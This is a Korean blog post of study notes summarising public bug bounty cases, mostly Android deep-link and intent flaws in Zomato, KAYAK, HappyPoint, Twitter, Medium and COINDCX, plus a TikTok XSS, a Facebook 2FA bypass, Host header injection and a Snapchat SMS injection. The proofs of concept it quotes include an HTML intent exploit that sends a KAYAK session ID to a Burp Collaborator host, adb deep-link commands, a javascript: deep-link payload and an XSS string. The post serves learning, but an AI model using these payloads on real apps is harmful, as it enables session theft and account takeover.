작은 메모장
Bug Bounty 사례 본문
[Zomato] Theft of user Session
해당 취약점은 Android와 iOS에 적용 가능했던 취약점으로, 해당 버그를 제보한 글에서 자세한 내용을 확인할 수 있다.
해당 취약점은 다음의 코드에서 시작하게 된다.
<activity android:theme="@style/ZomatoTranslucentTheme" android:label="@string/app_name" android:name="com.application.zomato.activities.DeepLinkRouter" android:screenOrientation="portrait">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="zomato"/>
</intent-filter>
</activity>
문제가 된 부분은 android:name="com.application.zomato.activities.DeepLinkRouter"로, 해당 코드에 의해 Activity가 Exported된 취약점이다.
그러나 해당 부분에는, Activity가 ture로 설정되어 있지 않은데, 어째서 이 옵션이 자동으로 true가 되었는가.
안드로이드의 예전 버전(api 16 이하)에서는 아무 값도 설정하지 않은 옵션은 자동으로 true값이 부여되도록 설계되었다.
안드로이드 4.2버전이 지나고 나서야 이 기본값이 false로 변경되었다.
코드의 끝에 <data android:scheme="zomato"/> 라는 딥 링크가 연결되어 있는 것을 확인할 수 있다.
그렇다는 것은, 외부에서 이 딥 링크를 통해 액티비티로 접근 가능하다는 점을 의미한다.
예를 들어, zomato://... 이런식으로 말이다.
그렇다면 해당 딥 링크로 실행되는 액티비티는 어떤 내용을 담고 있는지 확인해보면 된다.
...
} else if ("treatswebview".equals(host)) {
e(parse); // url should look like zomato://treatswebview?url=
}
...
해당 코드는 액티비티의 일부분으로, 매개 변수를 받아 실행하는 부분이다.
만약, 딥 링크로 treatswebview라는 변수로 값을 받았다면, 해당 url을 e라는 메소드에 넣고 실행한다.
즉 딥 링크를 호출하는 링크는 zomato://treatswebview?url=... 이 될 것이다.
그럼 해당 url을 실행하는 e 메소드는 무슨 행동을 하는지 알아본다.
private void e(android.net.Uri uri) {
android.support.v4.app.TaskStackBuilder v = v();
java.lang.String a = com.zomato.a.b.g.a(uri.getQueryParameter("url")); // decode of the query parameter
java.lang.String str = "";
if (uri.getQueryParameter("navigation_bar_title") != null) {
str = com.zomato.a.b.g.a(uri.getQueryParameter("navigation_bar_title")); // page title
}
android.content.Intent intent = new android.content.Intent(this, com.library.zomato.ordering.utils.ZUtil.getClassForWebViewNavigationType(uri));
intent.putExtra("url", a);
intent.putExtra("title", str);
// starting TreatsWebViewActionBarActivity
해당 코드는 url을 가져와 이를 처리하는 코드로 보인다.
이는 java.lang.String a = com.zomato.a.b.g.a(uri.getQueryParameter("url")); 코드에서 알 수 있다.
해당 코드는 url 파라미터로 받은 값, 즉 받은 링크의 데이터를 가져와 a 문자열에 저장하는 코드다.
저장된 해당 값은 intent.putExtra("url", a); 에서 사용되며, intent에 url 데이터를 전달한다.
해당 intent로 실행되는 엑티비티는 TreatWebViewActionBarActivity이며, 해당 내용을 살펴보면 된다.
android.os.Bundle extras = getIntent().getExtras();
if (extras != null) {
if (extras.containsKey("url")) {
this.mUrl = extras.getString("url"); //
}
public void loadWebView() {
if (!this.hasLoadedBefore && !com.zomato.a.b.g.a(this.mWebViewURL)) {
this.zomatoWebView.loadUrl(this.mWebViewURL, this.httpHeaders); // mWebViewURL == mUrl
this.hasLoadedBefore = true;
}
}
해당 엑티비티에 일부분을 보면, url 변수의 값을 받아와 이를 웹 뷰에 로드하고 있는 모습을 볼 수 있다.
즉, 웹 뷰에 url 변수를 전달하고 있는 것이다.
이 말은 공격자가 딥 링크를 이용하여 url을 전송하면, 사용자는 공격자가 유도한 url을 zomato 상에서 열 수 있다는 것이다. 해당 POC를 살펴보면 이를 알 수 있다.
<!DOCTYPE html>
<html>
<head><title>Zaheck page</title></head>
<body style="text-align: center;">
<h1><a href="zomato://treatswebview/?url=http://google.com&navigation_bar_title=wow">Begin zaheck!</a></h1>
</body>
</html>
해당 링크를 누르게 되면, zomato 상에서 사용자의 쿠키값을 포함하여 공격자의 환경으로 접속한다.
공격자는 해당 링크를 통해 사용자의 정보를 수집하고, 이를 악용할 수 있게 되는 것이다.
혹은 악성 앱을 제작하여 다음의 인텐트를 실행하면 자동으로 해당 과정이 실행되고, 사용자의 세션이 탈취당할 수 있는 것이다.
adb shell am start -n com.application.zomato/.activities.DeepLinkRouter -a android.intent.action.VIEW -d "zomato://treatswebview/?url=http://google.com&navigation_bar_title=wow"
CVE-2019-9140
해당 취약점은 해피포인트 어플리케이션에서 발생했던 취약점으로, 딥 링크와 연관된 취약점이다.
딥 링크 스키마를 처리하는 과정에서 생긴 취약점으로, 딥 링크의 url을 검증하지 않아 일어났다.
자세한 내용은 해당 글을 통해 알 수 있다.
해당 취약점의 분석은 AndroidManifest 파일에서 시작한다.
해당 매니패스트 파일에서 액티비티를 실행하여 딥 링크를 실행하고 있는 것을 확인할 수 있다.
지원하는 딥 링크는 happypointcard://deeplink이다.
해당 딥 링크를 실행하면 나오는 액티비티를 조사하면, 어떤 취약점이 있는지 파악할 수 있다.
해당 코드는 IntroActivity의 일부로, 확인해야할 부분은 hpeventurl= 이라는 부분이다.
hpeventurl= 이라는 값이 전달받은 uri에 존재하면 해당 값을 str2에 넣는다.
즉, url 상에서 전달하려는 링크가 그대로 전달된다는 것이다.
해당 값은 MainActivity. INTENT_DATA_SHOW_HAPPY_MARKET의 키로 전달된다.
해당 값이 전달된 상태로, SecondIntroActivity를 실행한다.
해당 액티비티에는 goMainActivity가 실행되고 있었고, 해당 메소드에서 MainActivity.class에 전달되는 것을 확인할 수 있다.
이렇게 전달된 값은 checkEvent 메소드와 같이 실행된다.
해당 메소드에서는 스키마 체크가 이루어진다.
이 과정에서, intent와 this를 체크하며 해당 스키마가 happypoint인 경우 MainActivity를 다시 실행해 웹 뷰가 실행되는 구조다.
해당 과정은 checkSchemeHappyMarket 메소드를 통해 이루어지며, 별다른 url 검증 없이 그대로 전달하는 것이 이 취약점의 문제임을 확인할 수 있다.
happypointcard://deeplink?hpeventurl=javascript:window.App={recvLocation:function(a,b){alert(a+","+b)}};android.myLocationGPS() |
해당 POC를 확인하면, 다음과 같이 딥링크를 통해 개인정보가 그대로 노출되는 것을 확인할 수 있다.
이전 취약점과 동일하게, 공격자가 딥 링크를 이용하여 url을 전송하면, 사용자는 공격자가 유도한 url을 zomato 상에서 열 수 있다는 것이다.
KAYAK DeepLink Vuln
해당 취약점은 KAYAK 어플리케이션에서 발생한 취약점으로, 딥 링크를 이용해 사용자 계정을 탈취할 수 있었다.
해피포인트 취약점과 동일하게, 딥 링크로 들어오는 링크를 검증하지 않아 생긴 취약점이다.
자세한 내용은 해당 글을 통해 알 수 있다.
취약점 분석의 시작은 동일하게 Androidmanifast.xml 파일을 분석하는 것에서 시작한다.
<activity android:name="com.kayak.android.web.ExternalAuthLoginActivity" android:exported="true" android:launchMode="singleTask">
<intent-filter>
<data android:scheme="kayak"/>
<data android:host="externalAuthentication"/>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
</intent-filter>
</activity>
해당 매니페스트 파일의 일부분을 보면, ExternalAuthLoginActivity라는 액티비티가 exported 옵션이 true로 되어 있다.
이는 KAYAK 어플리케이션이 설치된 모바일 기기의 모든 어플리케이션이 이 액티비티와 상호작용 가능하다는 의미다.
따라서, 액티비티가 딥 링크에서 호출될 수 있다는 것을 의미한다.
그렇다면 이 액티비티가 호출하는 클래스인 ExternalAuthLoginActivity는 어떤 내용을 담고 있을까?
private final String getRedirectUrl() {
String stringExtra = getIntent().getStringExtra(EXTRA_REDIRECT_URL);
return stringExtra == null ? "" : stringExtra;
}
private final void launchCustomTabs() {
m.d b10 = new d.a(this.helper.getSession()).g(true).b();
p.d(b10, "Builder(helper.session)\n…rue)\n .build()");
Uri.Builder buildUpon = Uri.parse(getRedirectUrl()).buildUpon();
buildUpon.appendQueryParameter(SESSION_QUERY_PARAM, l.getInstance().getSessionId());
i.openCustomTab(this, b10, buildUpon.build(), null);
}
해당 코드는 ExternalAuthLoginActivity 클래스의 일부분으로, 위 두 메서드에서 취약점이 발견되었다.
getRedirectUrl 메서드는 EXTRA_REDIRECT_URL로 입력받은 값을 그대로 return하는 것을 볼 수 있다.
해당 메서드는 launchCustomTabs 메서드에서 사용하고 있으며, 해당 URL 데이터를 이용해 appendQueryParmeter로 쿼리를 가져와 세션을 연결하려는 것을 확인할 수 있다.
해당 쿼리는 getSessionId 메서드를 통해 결과를 리턴하고 있다.
public final String getSessionId() {
String cookieValueInternal;
synchronized (this) {
cookieValueInternal = getCookieValueInternal(SESSION_COOKIE_NAME);
}
return cookieValueInternal;
}
getSessionId 메서드는 세션 쿠키 이름에 대응하는 값을 가져와 이를 리턴하는 메서드였다.
즉, 해당 과정을 전부 연결하면 딥 링크로 URL 경로를 가져와 이를 별다른 과정없이 처리, 해당 링크의 쿠키 값을 가져온 후 세션을 맺고 새로운 탭으로 연결을 하게 되는 것이다.
명백하게 딥 링크 취약점이 있는 것으로, 해당 POC를 보면 이 점이 뚜렸하게 나온다.
<!DOCTYPE html>
<html>
<body>
<a id="exploit" href="intent://externalAuthentication#Intent;
scheme=kayak;package=com.kayak.android;
component=com.kayak.android.web.ExternalAuthLoginActivity;
action=android.intent.action.VIEW;
S.ExternalAuthLoginActivity.EXTRA_REDIRECT_URL=https://jsfl9yn414bp1z2sujwfjsj3ruxlla.burpcollaborator.net;
end">Exploit</a>;
</body>
</html>
Twitter Blue Deeplink
트위터(현 X)는 안드로이드 사용자들을 위한 새 구독형 서비스를 발표했었는데 그게 트위터 블루다.
구독형 서비스였던 만큼 이용 혜택이 상당했는데, 트윗 수정 / 고화질 영상 업로드 / 광고 제거 / 트윗 노출 빈도 상승 / 프로필에 파란색 체크 표시 / 앱 아이콘 변경 등의 기능이 제공되었다.
많은 기능을 제공하는 만큼, 그만큼 많은 구독료(월 8달러, 약 11000원 정도)를 내야 했었다.
해당 취약점은 구독 기능을 실행하기 위해 구현한 딥 링크를, 사용자 미검증 또는 접근 권한이 설정되지 않아 해당 취약점이 발생하였다.
즉, 딥링크를 이용하여 구독 없이도 트위터 블루 기능을 사용할 수 있었던 취약점이다.
더욱 자세한 내용은 해당 글을 통해 알 수 있다.
기본적으로 구독을 하고 있는 유료 사용자들은 아래의 딥 링크를 통해 기능을 사용할 수 있었다.
twitter://subscriptions/settings/extras twitter://subscriptions/settings/early_access |
문제는 이 딥링크를 무료 사용자가 접속해도 사용할 수 있었다는 점이었다.
취약점이 존재하는 버전의 트위터를 설치하고 adb를 통해 실행하면, 해당 기능이 정상적으로 실행되는 것을 확인할 수 있었다.
adb shell am start -d "twitter://subscriptions/settings/extras"
adb shell am start -d "twitter://subscriptions/settings/early_access"
|
XSS Blind Stored TikTok
해당 취약점은 TikTok의 웹 뷰에 XSS 공격이 가능했던 취약점이다.
TikTok은 웹 뷰 기능을 이용하는 서비스를 제공하고 있는데, 이 웹 뷰를 실행하는 액티비티에 악의적인 스크립트가 삽입 가능했던 취약점이다.
더욱 자세한 내용은 해당 글을 통해 알 수 있다.
해당 취약점은 라이브 이벤트를 생성할 때 발생하였다.
라이브 이벤트 생성 페이지에서 ><img src=x onerror=write(document.domain)>의 코드 구문을 입력 가능한 공간에 모두 넣어본 것이다.
이는 html 페이지 상에 코드를 밀어 넣는 형식으로, img 태그의 탐색 에러를 이용한 스크립트 주입 방법이었다.
쉽게 말해, img 태그 상에서 불러올 이미지 파일이 없다면, onerror의 스크립트를 실행하는 것을 이용한 방법이다.
라이브 이벤트의 제출 form 상에서 XSS가 동작하는 것을 확인하였으므로, 실제 동작 가능한 스크립트를 라이브를 생성하여 테스트 해본다.
해당 사진을 보면 라이브 이벤트를 통해 alert 스크립트를 실행하는 것을 확인할 수 있다.
즉, 해당 XSS 공격이 완벽하게 적용되고 있으며, 공격자가 이를 이용하여 악성 스크립트를 삽입할 수 있다는 가능성이 충분하다는 것을 알 수 있다.
Bypass Fingerprint COINDCX
해당 취약점은 COINDCX 어플리케이션의 인증 우회 취약점이다.
COINDCX은 지문 인식을 통해 이용 가능하게 하는 시스템이 있는데, 이 지문인식 프로세스를 건너뛰게 할 수 있는 취약점이 존재했다.
즉, 공격자가 별다른 인증 과정 없이 피해자의 COINDCX 정보로 접근 가능했던 취약점이다.
자세한 내용은 해당 글을 통해 알 수 있다.
해당 어플리케이션은 처음 진입 시, 사용자의 지문 인식을 요구하는 창이 나오고 인식을 성공하면 그때 COINDCX 내부로 진입 가능하게 설계되었다.
하지만, 처음 진입과 동시에 https://coindcx.com의 url 데이터를 함께 전송하면, 어째서인지 바로 COINDCX 내부로 진입할 수 있다.
Intent intent = new Intent();
intent.setClassName(“com.coindcx”, “com.coindcx.MainActivity”);
intent.setData(Uri.parse(“https://coindcx.com"));
startActivity(intent);
이는 MainActivity 내에 전달받은 intent 처리가 미흡했던 것으로, 실행되었어야 할 지문인식을 건너 뛰고 전달받은 url로 접근하게 되었던 구조다.
즉, 다음 액티비티를 강제로 호출하여 해당 인증 과정을 건너뛴 것이다.
Facebook Two-Factor Authentication Bypass
페이스북에서 휴대전화 기기를 등록을 위해 인증하는 과정에서, 6자리 숫자가 휴대전화로 전송된다.
이 과정은 이메일을 입력해도 동일하며, 이메일로 전송된 6자리 숫자를 입력하면 인증되는 과정으로 설계되었다.
해당 취약점은 다음의 인증 과정을 건너뛰어 등록이 가능했던 취약점으로, 별다른 숫자를 입력하지 않고 바로 휴대전화 번호/이메일이 등록되는 문제였다.
자세한 내용은 해당 글을 통해 알 수 있다.
첫 단계는 피해자의 휴대전화 번호로 인증 요청을 전송하는 것이다.
그렇게 되면, 페이스북은 /api/v1/fxcal/get_native_linking_auth_blob/로 POST 요청을 전송하게 되는데, 이를 캡쳐하여 분석해본다.
해당 POST 요청은 토큰 생성 요청으로, 이 생성 요청을 받은 웹 서버는 그에 해당하는 토큰을 알려준다.
페이스북은 해당 토큰을 가지고 다시 /api/v1/bloks/apps/com.bloks.www.fx.settings.contact_point.add.async/로 POST 요청을 전송하며, 해당 요청을 캡쳐하여 다시 분석해본다.
해당 요청은 6자리 인증 요청을 보내는 과정이었고, 단순히 토큰 값만 전송되는 것이 아닌 여러 정보가 같이 전송되는 것을 확인할 수 있었다.
더 자세히는, email 혹은 휴대전화 번호와 같이 전송되며, 이 번호에 인증 요청을 전송하게 되는 것이다.
해당 요청이 전송된 후, 화면에는 6자리 번호를 입력하는 창이 나오게 된다.
해당 번호를 전송했을 시의 패킷을 캡쳐하여 다시 분석해본다.
패킷에는 입력한 6자리 코드가 지정된 위치에 넣어져 전송되는 것을 확인할 수 있다.
해당 번호가 틀렸다면, 6자리 입력 코드 화면을 다시 응답할 것이고,
해당 번호가 맞다면, 인증 성공 단계를 거칠 것이다.
이 화면에서 페이스북은 인증 시간의 제약을 두지 않은 취약점을 가지고 있었다.
즉, 6자리 입력 코드의 입력 시간과 실패 횟수가 얼마나 되었던 계속 인증할 수 있었던 것이다.
따라서 해당 패킷의 인증번호 입력 부분에 000000~999999까지 인증 번호를 무작위로 변경하면서, 인증 실패 메시지가 나오면 다시 시도, 인증 성공 프로세스를 만날 때 까지 매크로를 실행하면 인증이 풀리게 되는 취약점이었다.
Host Header Injection
해당 취약점은 Host Header Attack을 이용하여 생기는 취약점이다. 사실상 Host Header Attack.
Host Header Attack은 웹 요청 시 패킷의 Host 헤더를 변조하여 공격하는 방식으로, 권한 확인이 제대로 이루어지지 않은 환경에서 예상치 못한 Host 헤더를 만나게 되면 허용된 권한 이상으로 시스템에 접근할 수 있는 공격이다.
즉, Host 헤더 권한 및 요청 처리를 제대로 하지 않아 생기는 문제다.
해당 공격을 이용해 사용자의 정보까지 확인할 수 있는 문제가 생긴다.
가령, 비밀번호 재설정 페이지에서 공격하고자 하는 이메일로 인증 요청을 보낸 후, 그 패킷을 잡아 Host 헤더에 공격자 서버의 주소를 입력하면 피해자에게 다음과 같은 비밀번호 재설정 이메일이 전송된다.
해당 이메일은 공격자가 Host 헤더를 google.com으로 설정하고 전송한 메일이다.
이말인즉, 공격자가 Host 헤더를 공격자의 서버로 설정하면 링크의 도메인 부분이 변경된다는 의미다.
따라서, Host 헤더를 변경한 것만으로 피해자에게 공격자 서버 접속을 유도할 수 있고, 이를 접속하게 되면 공격자 서버에 피해자의 토큰 정보가 전달되게 되는 것이다.
해당 토큰을 가지고 공격자는 피해자의 비밀번호를 변경할 수 있게 된다.
Snapchat 입력값 검증 미흡
해당 취약점은 Snapchat에서 사용자 입력값을 제대로 검증하지 않아 발생한 취약점이다.
Snapchat은 앱을 직접 다운로드 하거나 링크가 포함된 SMS를 전송하여 다운로드 할 수 있는 기능을 제공하고 있다.
Snapchat 홈페이지에서 Snapchat을 추천하고 싶은 사람의 전화번호를 입력하면, 그 사람의 SMS로 Snapchat 다운로드 링크가 포함된 메시지가 전송되었다.
물론 이 값들은 전부 패킷상 파라미터에 담겨 전송되게 되는데, 이 파라미터에 공격자가 원하는 정보를 마음대로 담을 수 있었던 취약점이다.
자세한 내용은 해당 글을 통해 알 수 있다.
해당 취약점의 시작은 앱 추천 페이지에서 시작한다.
전화번호와 함께 링크 전송을 한 후, 해당 패킷을 잡으면 다음과 같은 POST 요청을 볼 수 있다.
https://app.snapchat.com/stories_everywhere/download_sms?phone_number=2133198570&country_code=US&cid=whatis |
다른 파라미터는 용도가 한눈에 보이는데, 유독 cid 파라미터만 용도를 직관적으로 알기 힘들다.
또한, 독특하게도 cid값이 SMS 메시지에 그대로 노출되어 반영되고 있는 것을 확인할 수 있다.
따라서, 해당 파라미터를 테스트하기 위해 텍스트와 url을 변경하고 추가하여 전송한다.
단, 파라미터가 해당 url 중간에 삽입되기 때문에, 새 url을 만들기 위해서는 url을 강제로 끊어야 한다.
따라서, HTTP에서 공백을 의미하는 +를 이용하여 url을 강제로 끊고 텍스트와 링크처럼 보이도록 cid 값을 재구성한다.
cid=TES+HACKED+1337+LOL+HacKerOne.com |
그럼 위와 같이 공격자가 원하는 텍스트와 링크가 삽입되어 잘 동작하는 것을 확인할 수 있다.
cid 값을 미흡하게 검증하여 생긴 취약점이다.
Insecure Intent Medium
해당 취약점은 Medium 어플리케이션에서 Intent를 잘못 처리하고 있어 생긴 취약점이다.
Medium은 블로그 관리 어플리케이션으로, 블로그를 위한 다양한 기능을 제공하고 있다.
가령, 글 쓰기, 글 조회, 다른 이용자의 글 저장등의 기능을 제공했다.
문제가 되는 기능은 다른 이용자의 글을 저장하는 기능으로, 공격자가 원하는 글을 추가할 수 있는 취약점이 있었다.
자세한 내용은 해당 글을 통해 알 수 있다.
해당 취약점의 시작은 AndroidManifest.xml의 SaveToMediumActivity 액티비티가 Exported 옵션이 True로 되어있는 것으로 시작한다.
이는 Medium 어플리케이션이 설치된 모바일 기기의 모든 어플리케이션이 이 액티비티와 상호작용 가능하다는 의미다.
따라서, 액티비티가 딥 링크에서 호출될 수 있다는 것을 의미한다.
그렇다면 이 액티비티가 호출하는 클래스인 SaveToMediumActivity는 어떤 내용을 담고 있을까?
SaveToMediumActivity의 내용의 일부분이다.
해당 부분은 로그인 여부를 확인하여, 로그인 시 저장 리스트에 해당 글을 추가하는 intent이다.
여기서, 해당 글의 URL을 처리하는 방식을 알 수 있는데, 저장할 글의 url이 getIntent().getStringExtra("android.intent.extra.TEXT")를 통해 로드된다는 것을 알 수 있다.
그렇다는 것은 해당 값으로 url 값을 강제로 전달하면, 글 목록에 url이 저장된다는 것을 추측할 수 있다.
이를 바탕으로 POC를 만들면 adb 쉘 명령어는 다음과 같다.
adb shell am start -n com.medium.reader/com.medium.android.donkey.save.SaveToMediumActivity -e android.intent.extra.TEXT “https://attacker.com" |
'KISA 사이버 보안 훈련 > 버그헌팅 실습 중급' 카테고리의 다른 글
ChatGPT 버그헌팅 (0) | 2024.07.14 |
---|---|
Metasploit (0) | 2024.07.13 |
보안 기술 우회 (0) | 2024.07.12 |
어플리케이션 보안 이해 (0) | 2024.07.11 |
향상된 타겟 정보 수집 (0) | 2024.07.01 |